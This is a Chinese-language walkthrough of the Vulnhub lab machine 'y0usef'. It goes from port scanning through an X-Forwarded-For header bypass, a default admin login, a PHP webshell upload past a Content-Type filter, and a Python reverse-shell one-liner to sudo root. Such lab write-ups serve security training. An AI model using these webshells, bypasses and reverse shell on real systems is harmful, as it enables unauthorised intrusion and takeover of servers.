Vulnhub靶机:y0usef
攻击机:kali
第一步、局域网主机发现
arp-scan -l
扫描局域网内的主机

192.168.10.1为网关
192.168.10.2为靶机IP地址
拿到ip后可以扫描靶机开放的端口

发现开通了22、80两个端口,提示我们可以考虑靶机上的ssh与http服务
先用默认脚本扫描一下
nmap --min-rate 10000 -p22,80 -sC -sV 192.168.10.2
-sV -sC 默认安全脚本扫描

根据靶机开放的80端口,推测可以去网页上寻找突破口

查看源码并没有帮助信息

尝试能否查看靶机上的robots.txt文件

使用whatweb工具查看web应用所采用的软件构架

再尝试用dirsearch爆破 web 服务端的路径

发现一些隐藏的路径和文件
/adminstration
/index.php
/index.php/login
其中,通过后两个文件的url进入服务器后的页面与此前相同,仍无有价值信息。
HTTP的状态码可分为五大类:
1xx-临时响应、
2xx-成功、(成功)服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。
3xx-重定向、(永久移动)请求的网页已永久移动到新位置。
服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
4xx-请求错误、 (禁止)服务器拒绝请求。
5xx-服务器错误。
尝试访问http://192.168.10.2/adminstration/

提示我们没有权限,需要进行“绕过”。这里我们采用“X系列头部绕过”的方式
在被拦截的数据包中加入X-Forwarded-For: 127.0.0.1

成功进入一个登录界面,这里尝试使用admin,admin登录

登录成功

首先编写一个“一句话木马”的PHP 文件shell.php,内容如下:
php <?php $var=shell_exec($_GET['cmd']); echo $var?>
尝试直接将其上传,发现网站提示文件被拒绝:
网站可能存在针对文件类型的过滤

通过修改被拦截的报文中Content-Type字段的值进行绕过:
修改为:image/png

显示上传成功

测试代码是否可以正常运行
http://192.168.10.2/adminstration/upload/files/1688997873shell.php?cmd=ls

指令成功运行,
接下来可以上传一句话<?php @eval($_POST['shell']);?>
直接蚁剑连接

也可以通过url让目标靶机执行反弹shell的代码了
首先,先试探一下靶机的语言环境:
http://192.168.10.2/adminstration/upload/files/1688997873shell.php?cmd=which python

说明靶机有python环境
http://192.168.10.2/adminstration/upload/files/1688997873shell.php?cmd=后面接反弹代码
Python反弹代码,把其中ip修改为kali的ip,port修改为监听的端口
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

获取完整shell

查看passwd文件
cat /etc/passwd
有一个叫yousef的用户可以登录系统

进入该用户的主目录,发现文件user.txt。查看内容,发现第一个flag

对其值进行解密,得到账号密码,就可以ssh登录了

成功登入yousef后,查看该用户所在的用户组
id

发现该用户属于sudo组,查看该用户可执行的指令
sudo -l

发现该用户可以执行所有的系统指令,则我们可以直接切换为root身份
sudo -i

主目录下的文件,内容为base64解码

解密后为:你已经获得了根祝贺你有任何反馈内容我推特@y0usef_11

完结撒花
-.-
评论区